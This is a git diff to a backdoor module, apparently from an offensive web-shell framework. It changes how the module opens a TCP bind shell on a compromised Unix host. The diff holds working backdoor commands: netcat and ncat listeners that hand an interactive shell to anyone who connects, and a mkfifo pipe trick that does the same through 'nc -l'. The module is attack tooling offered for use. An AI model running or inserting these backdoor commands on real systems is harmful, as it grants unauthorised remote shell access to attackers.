diff --git a/modules/backdoor/tcp.py b/modules/backdoor/tcp.py index 3a44e4e..d83a86d 100644 --- a/modules/backdoor/tcp.py +++ b/modules/backdoor/tcp.py @@ -1,10 +1,12 @@ -from core.vectors import PhpCode, ShellCmd, ModuleExec, Os -from core.module import Module -from core.loggers import log -from core import messages -import urllib.parse import telnetlib import time +import urllib.parse + +from core import messages +from core.loggers import log +from core.module import Module +from core.vectors import ShellCmd, Os + class Tcp(Module): @@ -24,11 +26,17 @@ def init(self): self.register_vectors( [ ShellCmd( - "nc -l -p ${port} -e ${shell}", + "nc -nlp ${port} -c '${shell} -i 2>&1' ", name = 'netcat', target = Os.NIX, background = True ), + ShellCmd( + "ncat -nlp ${port} -c '${shell} -i 2>&1' ", + name = 'nc.nmap', + target = Os.NIX, + background = True + ), ShellCmd( "rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|${shell} -i 2>&1|nc -l ${port} >/tmp/f; rm -rf /tmp/f", name = 'netcat_bsd',